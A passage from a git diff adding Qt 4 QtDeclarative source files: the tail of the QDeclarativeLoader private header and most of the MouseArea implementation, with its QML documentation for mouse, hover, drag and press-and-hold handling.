+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVELOADER_P_H
+#define QDECLARATIVELOADER_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativeloader_p.h"
+
+#include "private/qdeclarativeimplicitsizeitem_p_p.h"
+#include "private/qdeclarativeitemchangelistener_p.h"
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeContext;
+class QDeclarativeLoaderPrivate : public QDeclarativeImplicitSizeItemPrivate, public QDeclarativeItemChangeListener
+{
+ Q_DECLARE_PUBLIC(QDeclarativeLoader)
+
+public:
+ QDeclarativeLoaderPrivate();
+ ~QDeclarativeLoaderPrivate();
+
+ void itemGeometryChanged(QDeclarativeItem *item, const QRectF &newGeometry, const QRectF &oldGeometry);
+ void clear();
+ void initResize();
+ void load();
+
+ QUrl source;
+ QGraphicsObject *item;
+ QDeclarativeComponent *component;
+ bool ownComponent : 1;
+ bool updatingSize: 1;
+ bool itemWidthValid : 1;
+ bool itemHeightValid : 1;
+
+ void _q_sourceLoaded();
+ void _q_updateSize(bool loaderGeometryChanged = true);
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVELOADER_P_H
diff --git a/src/declarative/graphicsitems/qdeclarativemousearea.cpp b/src/declarative/graphicsitems/qdeclarativemousearea.cpp
new file mode 100644
index 00000000..36511806
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativemousearea.cpp
@@ -0,0 +1,988 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativemousearea_p.h"
+#include "private/qdeclarativemousearea_p_p.h"
+
+#include "private/qdeclarativeevents_p_p.h"
+
+#include <QGraphicsSceneMouseEvent>
+
+#include <float.h>
+
+QT_BEGIN_NAMESPACE
+static const int PressAndHoldDelay = 800;
+
+QDeclarativeDrag::QDeclarativeDrag(QObject *parent)
+: QObject(parent), _target(0), _axis(XandYAxis), _xmin(-FLT_MAX), _xmax(FLT_MAX), _ymin(-FLT_MAX), _ymax(FLT_MAX),
+_active(false), _filterChildren(false)
+{
+}
+
+QDeclarativeDrag::~QDeclarativeDrag()
+{
+}
+
+QGraphicsObject *QDeclarativeDrag::target() const
+{
+ return _target;
+}
+
+void QDeclarativeDrag::setTarget(QGraphicsObject *t)
+{
+ if (_target == t)
+ return;
+ _target = t;
+ emit targetChanged();
+}
+
+void QDeclarativeDrag::resetTarget()
+{
+ if (!_target)
+ return;
+ _target = 0;
+ emit targetChanged();
+}
+
+QDeclarativeDrag::Axis QDeclarativeDrag::axis() const
+{
+ return _axis;
+}
+
+void QDeclarativeDrag::setAxis(QDeclarativeDrag::Axis a)
+{
+ if (_axis == a)
+ return;
+ _axis = a;
+ emit axisChanged();
+}
+
+qreal QDeclarativeDrag::xmin() const
+{
+ return _xmin;
+}
+
+void QDeclarativeDrag::setXmin(qreal m)
+{
+ if (_xmin == m)
+ return;
+ _xmin = m;
+ emit minimumXChanged();
+}
+
+qreal QDeclarativeDrag::xmax() const
+{
+ return _xmax;
+}
+
+void QDeclarativeDrag::setXmax(qreal m)
+{
+ if (_xmax == m)
+ return;
+ _xmax = m;
+ emit maximumXChanged();
+}
+
+qreal QDeclarativeDrag::ymin() const
+{
+ return _ymin;
+}
+
+void QDeclarativeDrag::setYmin(qreal m)
+{
+ if (_ymin == m)
+ return;
+ _ymin = m;
+ emit minimumYChanged();
+}
+
+qreal QDeclarativeDrag::ymax() const
+{
+ return _ymax;
+}
+
+void QDeclarativeDrag::setYmax(qreal m)
+{
+ if (_ymax == m)
+ return;
+ _ymax = m;
+ emit maximumYChanged();
+}
+
+bool QDeclarativeDrag::active() const
+{
+ return _active;
+}
+
+void QDeclarativeDrag::setActive(bool drag)
+{
+ if (_active == drag)
+ return;
+ _active = drag;
+ emit activeChanged();
+}
+
+bool QDeclarativeDrag::filterChildren() const
+{
+ return _filterChildren;
+}
+
+void QDeclarativeDrag::setFilterChildren(bool filter)
+{
+ if (_filterChildren == filter)
+ return;
+ _filterChildren = filter;
+ emit filterChildrenChanged();
+}
+
+QDeclarativeMouseAreaPrivate::~QDeclarativeMouseAreaPrivate()
+{
+ delete drag;
+}
+
+/*!
+ \qmlclass MouseArea QDeclarativeMouseArea
+ \ingroup qml-basic-interaction-elements
+ \since 4.7
+ \brief The MouseArea item enables simple mouse handling.
+ \inherits Item
+
+ A MouseArea is an invisible item that is typically used in conjunction with
+ a visible item in order to provide mouse handling for that item.
+ By effectively acting as a proxy, the logic for mouse handling can be
+ contained within a MouseArea item.
+
+ For basic key handling, see the \l{Keys}{Keys attached property}.
+
+ The \l enabled property is used to enable and disable mouse handling for
+ the proxied item. When disabled, the mouse area becomes transparent to
+ mouse events.
+
+ The \l pressed read-only property indicates whether or not the user is
+ holding down a mouse button over the mouse area. This property is often
+ used in bindings between properties in a user interface. The containsMouse
+ read-only property indicates the presence of the mouse cursor over the
+ mouse area but, by default, only when a mouse button is held down; see below
+ for further details.
+
+ Information about the mouse position and button clicks are provided via
+ signals for which event handler properties are defined. The most commonly
+ used involved handling mouse presses and clicks: onClicked, onDoubleClicked,
+ onPressed, onReleased and onPressAndHold.
+
+ By default, MouseArea items only report mouse clicks and not changes to the
+ position of the mouse cursor. Setting the hoverEnabled property ensures that
+ handlers defined for onPositionChanged, onEntered and onExited are used and
+ that the containsMouse property is updated even when no mouse buttons are
+ pressed.
+
+ \section1 Example Usage
+
+ \div {class="float-right"}
+ \inlineimage qml-mousearea-snippet.png
+ \enddiv
+
+ The following example uses a MouseArea in a \l Rectangle that changes
+ the \l Rectangle color to red when clicked:
+
+ \snippet doc/src/snippets/declarative/mousearea/mousearea.qml import
+ \codeline
+ \snippet doc/src/snippets/declarative/mousearea/mousearea.qml intro
+
+ \clearfloat
+ Many MouseArea signals pass a \l{MouseEvent}{mouse} parameter that contains
+ additional information about the mouse event, such as the position, button,
+ and any key modifiers.
+
+ Here is an extension of the previous example that produces a different
+ color when the area is right clicked:
+
+ \snippet doc/src/snippets/declarative/mousearea/mousearea.qml intro-extended
+
+ \sa MouseEvent, {declarative/touchinteraction/mousearea}{MouseArea example}
+*/
+
+/*!
+ \qmlsignal MouseArea::onEntered()
+
+ This handler is called when the mouse enters the mouse area.
+
+ By default the onEntered handler is only called while a button is
+ pressed. Setting hoverEnabled to true enables handling of
+ onEntered when no mouse button is pressed.
+
+ \sa hoverEnabled
+*/
+
+/*!
+ \qmlsignal MouseArea::onExited()
+
+ This handler is called when the mouse exists the mouse area.
+
+ By default the onExited handler is only called while a button is
+ pressed. Setting hoverEnabled to true enables handling of
+ onExited when no mouse button is pressed.
+
+ \sa hoverEnabled
+*/
+
+/*!
+ \qmlsignal MouseArea::onPositionChanged(MouseEvent mouse)
+
+ This handler is called when the mouse position changes.
+
+ The \l {MouseEvent}{mouse} parameter provides information about the mouse, including the x and y
+ position, and any buttons currently pressed.
+
+ The \e accepted property of the MouseEvent parameter is ignored in this handler.
+
+ By default the onPositionChanged handler is only called while a button is
+ pressed. Setting hoverEnabled to true enables handling of
+ onPositionChanged when no mouse button is pressed.
+*/
+
+/*!
+ \qmlsignal MouseArea::onClicked(MouseEvent mouse)
+
+ This handler is called when there is a click. A click is defined as a press followed by a release,
+ both inside the MouseArea (pressing, moving outside the MouseArea, and then moving back inside and
+ releasing is also considered a click).
+
+ The \l {MouseEvent}{mouse} parameter provides information about the click, including the x and y
+ position of the release of the click, and whether the click was held.
+
+ The \e accepted property of the MouseEvent parameter is ignored in this handler.
+*/
+
+/*!
+ \qmlsignal MouseArea::onPressed(MouseEvent mouse)
+
+ This handler is called when there is a press.
+ The \l {MouseEvent}{mouse} parameter provides information about the press, including the x and y
+ position and which button was pressed.
+
+ The \e accepted property of the MouseEvent parameter determines whether this MouseArea
+ will handle the press and all future mouse events until release. The default is to accept
+ the event and not allow other MouseArea beneath this one to handle the event. If \e accepted
+ is set to false, no further events will be sent to this MouseArea until the button is next
+ pressed.
+*/
+
+/*!
+ \qmlsignal MouseArea::onReleased(MouseEvent mouse)
+
+ This handler is called when there is a release.
+ The \l {MouseEvent}{mouse} parameter provides information about the click, including the x and y
+ position of the release of the click, and whether the click was held.
+
+ The \e accepted property of the MouseEvent parameter is ignored in this handler.
+
+ \sa onCanceled
+*/
+
+/*!
+ \qmlsignal MouseArea::onPressAndHold(MouseEvent mouse)
+
+ This handler is called when there is a long press (currently 800ms).
+ The \l {MouseEvent}{mouse} parameter provides information about the press, including the x and y
+ position of the press, and which button is pressed.
+
+ The \e accepted property of the MouseEvent parameter is ignored in this handler.
+*/
+
+/*!
+ \qmlsignal MouseArea::onDoubleClicked(MouseEvent mouse)
+
+ This handler is called when there is a double-click (a press followed by a release followed by a press).
+ The \l {MouseEvent}{mouse} parameter provides information about the click, including the x and y
+ position of the release of the click, and whether the click was held.
+
+ If the \e accepted property of the \l {MouseEvent}{mouse} parameter is set to false
+ in the handler, the onPressed/onReleased/onClicked handlers will be called for the second
+ click; otherwise they are suppressed. The accepted property defaults to true.
+*/
+
+/*!
+ \qmlsignal MouseArea::onCanceled()
+
+ This handler is called when mouse events have been canceled, either because an event was not accepted, or
+ because another element stole the mouse event handling.
+
+ This signal is for advanced use: it is useful when there is more than one MouseArea
+ that is handling input, or when there is a MouseArea inside a \l Flickable. In the latter
+ case, if you execute some logic on the pressed signal and then start dragging, the
+ \l Flickable will steal the mouse handling from the MouseArea. In these cases, to reset
+ the logic when the MouseArea has lost the mouse handling to the \l Flickable,
+ \c onCanceled should be used in addition to onReleased.
+*/
+
+QDeclarativeMouseArea::QDeclarativeMouseArea(QDeclarativeItem *parent)
+ : QDeclarativeItem(*(new QDeclarativeMouseAreaPrivate), parent)
+{
+ Q_D(QDeclarativeMouseArea);
+ d->init();
+}
+
+QDeclarativeMouseArea::~QDeclarativeMouseArea()
+{
+}
+
+/*!
+ \qmlproperty real MouseArea::mouseX
+ \qmlproperty real MouseArea::mouseY
+ These properties hold the coordinates of the mouse cursor.
+
+ If the hoverEnabled property is false then these properties will only be valid
+ while a button is pressed, and will remain valid as long as the button is held
+ down even if the mouse is moved outside the area.
+
+ By default, this property is false.
+
+ If hoverEnabled is true then these properties will be valid when:
+ \list
+ \i no button is pressed, but the mouse is within the MouseArea (containsMouse is true).
+ \i a button is pressed and held, even if it has since moved out of the area.
+ \endlist
+
+ The coordinates are relative to the MouseArea.
+*/
+qreal QDeclarativeMouseArea::mouseX() const
+{
+ Q_D(const QDeclarativeMouseArea);
+ return d->lastPos.x();
+}
+
+qreal QDeclarativeMouseArea::mouseY() const
+{
+ Q_D(const QDeclarativeMouseArea);
+ return d->lastPos.y();
+}
+
+/*!
+ \qmlproperty bool MouseArea::enabled
+ This property holds whether the item accepts mouse events.
+
+ By default, this property is true.
+*/
+bool QDeclarativeMouseArea::isEnabled() const
+{
+ Q_D(const QDeclarativeMouseArea);
+ return d->absorb;
+}
+
+void QDeclarativeMouseArea::setEnabled(bool a)
+{
+ Q_D(QDeclarativeMouseArea);
+ if (a != d->absorb) {
+ d->absorb = a;
+ emit enabledChanged();
+ }
+}
+
+/*!
+ \qmlproperty bool MouseArea::preventStealing
+ \since QtQuick 1.1
+ This property holds whether the mouse events may be stolen from this
+ MouseArea.
+
+ If a MouseArea is placed within an item that filters child mouse
+ events, such as Flickable, the mouse
+ events may be stolen from the MouseArea if a gesture is recognized
+ by the parent element, e.g. a flick gesture. If preventStealing is
+ set to true, no element will steal the mouse events.
+
+ Note that setting preventStealing to true once an element has started
+ stealing events will have no effect until the next press event.
+
+ By default this property is false.
+*/
+bool QDeclarativeMouseArea::preventStealing() const
+{
+ Q_D(const QDeclarativeMouseArea);
+ return d->preventStealing;
+}
+
+void QDeclarativeMouseArea::setPreventStealing(bool prevent)
+{
+ Q_D(QDeclarativeMouseArea);
+ if (prevent != d->preventStealing) {
+ d->preventStealing = prevent;
+ setKeepMouseGrab(d->preventStealing && d->absorb);
+ emit preventStealingChanged();
+ }
+}
+
+/*!
+ \qmlproperty MouseButtons MouseArea::pressedButtons
+ This property holds the mouse buttons currently pressed.
+
+ It contains a bitwise combination of:
+ \list
+ \o Qt.LeftButton
+ \o Qt.RightButton
+ \o Qt.MiddleButton
+ \endlist
+
+ The code below displays "right" when the right mouse buttons is pressed:
+
+ \snippet doc/src/snippets/declarative/mousearea/mousearea.qml mousebuttons
+
+ \sa acceptedButtons
+*/
+Qt::MouseButtons QDeclarativeMouseArea::pressedButtons() const
+{
+ Q_D(const QDeclarativeMouseArea);
+ return d->lastButtons;
+}
+
+void QDeclarativeMouseArea::mousePressEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativeMouseArea);
+ d->moved = false;
+ d->stealMouse = d->preventStealing;
+ if (!d->absorb)
+ QDeclarativeItem::mousePressEvent(event);
+ else {
+ d->longPress = false;
+ d->saveEvent(event);
+ if (d->drag) {
+ d->dragX = drag()->axis() & QDeclarativeDrag::XAxis;
+ d->dragY = drag()->axis() & QDeclarativeDrag::YAxis;
+ }
+ if (d->drag)
+ d->drag->setActive(false);
+ setHovered(true);
+ d->startScene = event->scenePos();
+ // we should only start timer if pressAndHold is connected to.
+ if (d->isPressAndHoldConnected())
+ d->pressAndHoldTimer.start(PressAndHoldDelay, this);
+ setKeepMouseGrab(d->stealMouse);
+ event->setAccepted(setPressed(true));
+ }
+}
+
+void QDeclarativeMouseArea::mouseMoveEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativeMouseArea);
+ if (!d->absorb) {
+ QDeclarativeItem::mouseMoveEvent(event);
+ return;
+ }
+
+ d->saveEvent(event);
+
+ // ### we should skip this if these signals aren't used
+ // ### can GV handle this for us?
+ bool contains = boundingRect().contains(d->lastPos);
+ if (d->hovered && !contains)
+ setHovered(false);
+ else if (!d->hovered && contains)
+ setHovered(true);
+
+ if (d->drag && d->drag->target()) {
+ if (!d->moved) {
+ d->startX = drag()->target()->x();
+ d->startY = drag()->target()->y();
+ }
+
+ QPointF startLocalPos;
+ QPointF curLocalPos;
+ if (drag()->target()->parentItem()) {
+ startLocalPos = drag()->target()->parentItem()->mapFromScene(d->startScene);
+ curLocalPos = drag()->target()->parentItem()->mapFromScene(event->scenePos());
+ } else {
+ startLocalPos = d->startScene;
+ curLocalPos = event->scenePos();
+ }
+
+ const int dragThreshold = QApplication::startDragDistance();
+ qreal dx = qAbs(curLocalPos.x() - startLocalPos.x());
+ qreal dy = qAbs(curLocalPos.y() - startLocalPos.y());
+
+ if (keepMouseGrab() && d->stealMouse)
+ d->drag->setActive(true);
+
+ if (d->dragX && d->drag->active()) {
+ qreal x = (curLocalPos.x() - startLocalPos.x()) + d->startX;
+ if (x < drag()->xmin())
+ x = drag()->xmin();
+ else if (x > drag()->xmax())
+ x = drag()->xmax();
+ drag()->target()->setX(x);
+ }
+ if (d->dragY && d->drag->active()) {
+ qreal y = (curLocalPos.y() - startLocalPos.y()) + d->startY;
+ if (y < drag()->ymin())
+ y = drag()->ymin();
+ else if (y > drag()->ymax())
+ y = drag()->ymax();
+ drag()->target()->setY(y);
+ }
+
+ if (!keepMouseGrab()) {
+ if ((!d->dragY && dy < dragThreshold && d->dragX && dx > dragThreshold)
+ || (!d->dragX && dx < dragThreshold && d->dragY && dy > dragThreshold)
+ || (d->dragX && d->dragY && (dx > dragThreshold || dy > dragThreshold))) {
+ setKeepMouseGrab(true);
+ d->stealMouse = true;
+ }
+ }
+
+ d->moved = true;
+ }
+ QDeclarativeMouseEvent me(d->lastPos.x(), d->lastPos.y(), d->lastButton, d->lastButtons, d->lastModifiers, false, d->longPress);
+ emit mousePositionChanged(&me);
+ me.setX(d->lastPos.x());
+ me.setY(d->lastPos.y());
+ emit positionChanged(&me);
+}
+
+
+void QDeclarativeMouseArea::mouseReleaseEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativeMouseArea);
+ d->stealMouse = false;
+ if (!d->absorb) {
+ QDeclarativeItem::mouseReleaseEvent(event);
+ } else {
+ d->saveEvent(event);
+ setPressed(false);
+ if (d->drag)
+ d->drag->setActive(false);
+ // If we don't accept hover, we need to reset containsMouse.
+ if (!acceptHoverEvents())
+ setHovered(false);
+ QGraphicsScene *s = scene();
+ if (s && s->mouseGrabberItem() == this)
+ ungrabMouse();
+ setKeepMouseGrab(false);
+ }
+ d->doubleClick = false;
+}
+
+void QDeclarativeMouseArea::mouseDoubleClickEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativeMouseArea);
+ if (!d->absorb) {
+ QDeclarativeItem::mouseDoubleClickEvent(event);
+ } else {
+ if (d->isDoubleClickConnected())
+ d->doubleClick = true;
+ d->saveEvent(event);
+ QDeclarativeMouseEvent me(d->lastPos.x(), d->lastPos.y(), d->lastButton, d->lastButtons, d->lastModifiers, true, false);
+ me.setAccepted(d->isDoubleClickConnected());
+ emit this->doubleClicked(&me);
+ QDeclarativeItem::mouseDoubleClickEvent(event);
+ }
+}
+
+void QDeclarativeMouseArea::hoverEnterEvent(QGraphicsSceneHoverEvent *event)
+{
+ Q_D(QDeclarativeMouseArea);
+ if (!d->absorb)
+ QDeclarativeItem::hoverEnterEvent(event);
+ else {
+ d->lastPos = event->pos();
+ setHovered(true);
+ QDeclarativeMouseEvent me(d->lastPos.x(), d->lastPos.y(), Qt::NoButton, Qt::NoButton, event->modifiers(), false, false);
+ emit mousePositionChanged(&me);
+ }
+}
+
+void QDeclarativeMouseArea::hoverMoveEvent(QGraphicsSceneHoverEvent *event)
+{
+ Q_D(QDeclarativeMouseArea);
+ if (!d->absorb) {
+ QDeclarativeItem::hoverMoveEvent(event);
+ } else {
+ d->lastPos = event->pos();
+ QDeclarativeMouseEvent me(d->lastPos.x(), d->lastPos.y(), Qt::NoButton, Qt::NoButton, event->modifiers(), false, false);
+ emit mousePositionChanged(&me);
+ me.setX(d->lastPos.x());
+ me.setY(d->lastPos.y());
+ emit positionChanged(&me);
+ }
+}
+
+void QDeclarativeMouseArea::hoverLeaveEvent(QGraphicsSceneHoverEvent *event)
+{
+ Q_D(QDeclarativeMouseArea);
+ if (!d->absorb)
+ QDeclarativeItem::hoverLeaveEvent(event);
+ else
+ setHovered(false);
+}
+
+#ifndef QT_NO_CONTEXTMENU
+void QDeclarativeMouseArea::contextMenuEvent(QGraphicsSceneContextMenuEvent *event)
+{
+ bool acceptsContextMenuButton;
+#if defined(Q_OS_SYMBIAN)
+ // In Symbian a Long Tap on the screen will trigger. See QSymbianControl::HandleLongTapEventL().
+ acceptsContextMenuButton = acceptedButtons() & Qt::LeftButton;
+#elif defined(Q_WS_WINCE)
+ // ### WinCE can trigger context menu event with a gesture in the left button or a
+ // click with the right button. Since we have no way here to differentiate them when
+ // event happens, accepting either of the them will block the event.
+ acceptsContextMenuButton = acceptedButtons() & (Qt::LeftButton | Qt::RightButton);
+#else
+ acceptsContextMenuButton = acceptedButtons() & Qt::RightButton;
+#endif
+
+ if (isEnabled() && event->reason() == QGraphicsSceneContextMenuEvent::Mouse
+ && acceptsContextMenuButton) {
+ // Do not let the context menu event propagate to items behind.
+ return;
+ }
+
+ QDeclarativeItem::contextMenuEvent(event);
+}
+#endif // QT_NO_CONTEXTMENU
+
+bool QDeclarativeMouseArea::sceneEvent(QEvent *event)
+{
+ bool rv = QDeclarativeItem::sceneEvent(event);
+ if (event->type() == QEvent::UngrabMouse) {
+ Q_D(QDeclarativeMouseArea);
+ if (d->pressed) {
+ // if our mouse grab has been removed (probably by Flickable), fix our
+ // state
+ d->pressed = false;
+ d->stealMouse = false;
+ setKeepMouseGrab(false);
+ emit canceled();
+ emit pressedChanged();
+ if (d->hovered) {
+ d->hovered = false;
+ emit hoveredChanged();
+ }
+ }
+ }
+ return rv;
+}
+
+bool QDeclarativeMouseArea::sendMouseEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativeMouseArea);
+ QGraphicsSceneMouseEvent mouseEvent(event->type());
+ QRectF myRect = mapToScene(QRectF(0, 0, width(), height())).boundingRect();
+
+ QGraphicsScene *s = scene();
+ QDeclarativeItem *grabber = s ? qobject_cast<QDeclarativeItem*>(s->mouseGrabberItem()) : 0;
+ bool stealThisEvent = d->stealMouse;
+ if ((stealThisEvent || myRect.contains(event->scenePos().toPoint())) && (!grabber || !grabber->keepMouseGrab())) {
+ mouseEvent.setAccepted(false);
+ for (int i = 0x1; i <= 0x10; i <<= 1) {
+ if (event->buttons() & i) {
+ Qt::MouseButton button = Qt::MouseButton(i);
+ mouseEvent.setButtonDownPos(button, mapFromScene(event->buttonDownPos(button)));
+ }
+ }
+ mouseEvent.setScenePos(event->scenePos());
+ mouseEvent.setLastScenePos(event->lastScenePos());
+ mouseEvent.setPos(mapFromScene(event->scenePos()));
+ mouseEvent.setLastPos(mapFromScene(event->lastScenePos()));
+
+ switch(mouseEvent.type()) {
+ case QEvent::GraphicsSceneMouseMove:
+ mouseMoveEvent(&mouseEvent);
+ break;
+ case QEvent::GraphicsSceneMousePress:
+ mousePressEvent(&mouseEvent);
+ break;
+ case QEvent::GraphicsSceneMouseRelease:
+ mouseReleaseEvent(&mouseEvent);
+ break;
+ default:
+ break;
+ }
+ grabber = qobject_cast<QDeclarativeItem*>(s->mouseGrabberItem());
+ if (grabber && stealThisEvent && !grabber->keepMouseGrab() && grabber != this)
+ grabMouse();
+
+ return stealThisEvent;
+ }
+ if (mouseEvent.type() == QEvent::GraphicsSceneMouseRelease) {
+ if (d->pressed) {
+ d->pressed = false;
+ d->stealMouse = false;
+ if (s && s->mouseGrabberItem() == this)
+ ungrabMouse();
+ emit canceled();
+ emit pressedChanged();
+ if (d->hovered) {
+ d->hovered = false;
+ emit hoveredChanged();
+ }
+ }
+ }
+ return false;
+}
+
+bool QDeclarativeMouseArea::sceneEventFilter(QGraphicsItem *i, QEvent *e)
+{
+ Q_D(QDeclarativeMouseArea);
+ if (!d->absorb || !isVisible() || !d->drag || !d->drag->filterChildren())
+ return QDeclarativeItem::sceneEventFilter(i, e);
+ switch (e->type()) {
+ case QEvent::GraphicsSceneMousePress:
+ case QEvent::GraphicsSceneMouseMove:
+ case QEvent::GraphicsSceneMouseRelease:
+ return sendMouseEvent(static_cast<QGraphicsSceneMouseEvent *>(e));
+ default:
+ break;
+ }
+
+ return QDeclarativeItem::sceneEventFilter(i, e);
+}
+
+void QDeclarativeMouseArea::timerEvent(QTimerEvent *event)
+{
+ Q_D(QDeclarativeMouseArea);
+ if (event->timerId() == d->pressAndHoldTimer.timerId()) {
+ d->pressAndHoldTimer.stop();
+ bool dragged = d->drag && d->drag->active();
+ if (d->pressed && dragged == false && d->hovered == true) {
+ d->longPress = true;
+ QDeclarativeMouseEvent me(d->lastPos.x(), d->lastPos.y(), d->lastButton, d->lastButtons, d->lastModifiers, false, d->longPress);
+ emit pressAndHold(&me);
+ }
+ }
+}
+
+void QDeclarativeMouseArea::geometryChanged(const QRectF &newGeometry,
+ const QRectF &oldGeometry)
+{
+ Q_D(QDeclarativeMouseArea);
+ QDeclarativeItem::geometryChanged(newGeometry, oldGeometry);
+
+ if (d->lastScenePos.isNull)
+ d->lastScenePos = mapToScene(d->lastPos);
+ else if (newGeometry.x() != oldGeometry.x() || newGeometry.y() != oldGeometry.y())
+ d->lastPos = mapFromScene(d->lastScenePos);
+}
+
+QVariant QDeclarativeMouseArea::itemChange(GraphicsItemChange change,
+ const QVariant &value)
+{
+ Q_D(QDeclarativeMouseArea);
+ switch (change) {
+ case ItemVisibleHasChanged:
+ if (acceptHoverEvents() && d->hovered != (isVisible() && isUnderMouse()))
+ setHovered(!d->hovered);
+ break;
+ default:
+ break;
+ }
+
+ return QDeclarativeItem::itemChange(change, value);
+}
+
+/*!
+ \qmlproperty bool MouseArea::hoverEnabled
+ This property holds whether hover events are handled.
+
+ By default, mouse events are only handled in response to a button event, or when a button is
+ pressed. Hover enables handling of all mouse events even when no mouse button is
+ pressed.
+
+ This property affects the containsMouse property and the onEntered, onExited and
+ onPositionChanged signals.
+*/
+bool QDeclarativeMouseArea::hoverEnabled() const
+{
+ return acceptHoverEvents();
+}
+
+void QDeclarativeMouseArea::setHoverEnabled(bool h)
+{
+ Q_D(QDeclarativeMouseArea);
+ if (h == acceptHoverEvents())
+ return;
+
+ setAcceptHoverEvents(h);
+ emit hoverEnabledChanged();
+ if (d->hovered != isUnderMouse())
+ setHovered(!d->hovered);
+}
+
+/*!
+ \qmlproperty bool MouseArea::containsMouse
+ This property holds whether the mouse is currently inside the mouse area.
+
+ \warning This property is not updated if the area moves under the mouse: \e containsMouse will not change.
+ In addition, if hoverEnabled is false, containsMouse will only be valid when the mouse is pressed.
+*/
+bool QDeclarativeMouseArea::hovered() const
+{
+ Q_D(const QDeclarativeMouseArea);
+ return d->hovered;
+}
+
+/*!
+ \qmlproperty bool MouseArea::pressed
+ This property holds whether the mouse area is currently pressed.
+*/
+bool QDeclarativeMouseArea::pressed() const
+{
+ Q_D(const QDeclarativeMouseArea);
+ return d->pressed;
+}
+
+void QDeclarativeMouseArea::setHovered(bool h)
+{
+ Q_D(QDeclarativeMouseArea);
+ if (d->hovered != h) {
+ d->hovered = h;
+ emit hoveredChanged();
+ d->hovered ? emit entered() : emit exited();
+ }
+}
+
+/*!
+ \qmlproperty Qt::MouseButtons MouseArea::acceptedButtons
+ This property holds the mouse buttons that the mouse area reacts to.
+
+ The available buttons are:
+ \list
+ \o Qt.LeftButton
+ \o Qt.RightButton
+ \o Qt.MiddleButton
+ \endlist
+
+ To accept more than one button the flags can be combined with the
+ "|" (or) operator:
+
+ \code
+ MouseArea { acceptedButtons: Qt.LeftButton | Qt.RightButton }
+ \endcode
+
+ The default value is \c Qt.LeftButton.
+*/
+Qt::MouseButtons QDeclarativeMouseArea::acceptedButtons() const
+{
+ return acceptedMouseButtons();
+}
+
+void QDeclarativeMouseArea::setAcceptedButtons(Qt::MouseButtons buttons)
+{
+ if (buttons != acceptedMouseButtons()) {
+ setAcceptedMouseButtons(buttons);
+ emit acceptedButtonsChanged();
+ }
+}
+
+bool QDeclarativeMouseArea::setPressed(bool p)
+{
+ Q_D(QDeclarativeMouseArea);
+ bool dragged = d->drag && d->drag->active();
+ bool isclick = d->pressed == true && p == false && dragged == false && d->hovered == true;
+
+ if (d->pressed != p) {
+ d->pressed = p;
+ QDeclarativeMouseEvent me(d->lastPos.x(), d->lastPos.y(), d->lastButton, d->lastButtons, d->lastModifiers, isclick, d->longPress);
+ if (d->pressed) {
+ if (!d->doubleClick)
+ emit pressed(&me);
+ me.setX(d->lastPos.x());
+ me.setY(d->lastPos.y());
+ emit mousePositionChanged(&me);
+ emit pressedChanged();
+ } else {
+ emit released(&me);
+ me.setX(d->lastPos.x());
+ me.setY(d->lastPos.y());
+ emit pressedChanged();
+ if (isclick && !d->longPress && !d->doubleClick)
+ emit clicked(&me);
+ }
+
+ return me.isAccepted();
+ }
+ return false;
+}
+
+QDeclarativeDrag *QDeclarativeMouseArea::drag()
+{
+ Q_D(QDeclarativeMouseArea);
+ if (!d->drag)
+ d->drag = new QDeclarativeDrag;
+ return d->drag;
+}
+
+/*!
+ \qmlproperty Item MouseArea::drag.target
+ \qmlproperty bool MouseArea::drag.active
+ \qmlproperty enumeration MouseArea::drag.axis
+ \qmlproperty real MouseArea::drag.minimumX
+ \qmlproperty real MouseArea::drag.maximumX
+ \qmlproperty real MouseArea::drag.minimumY
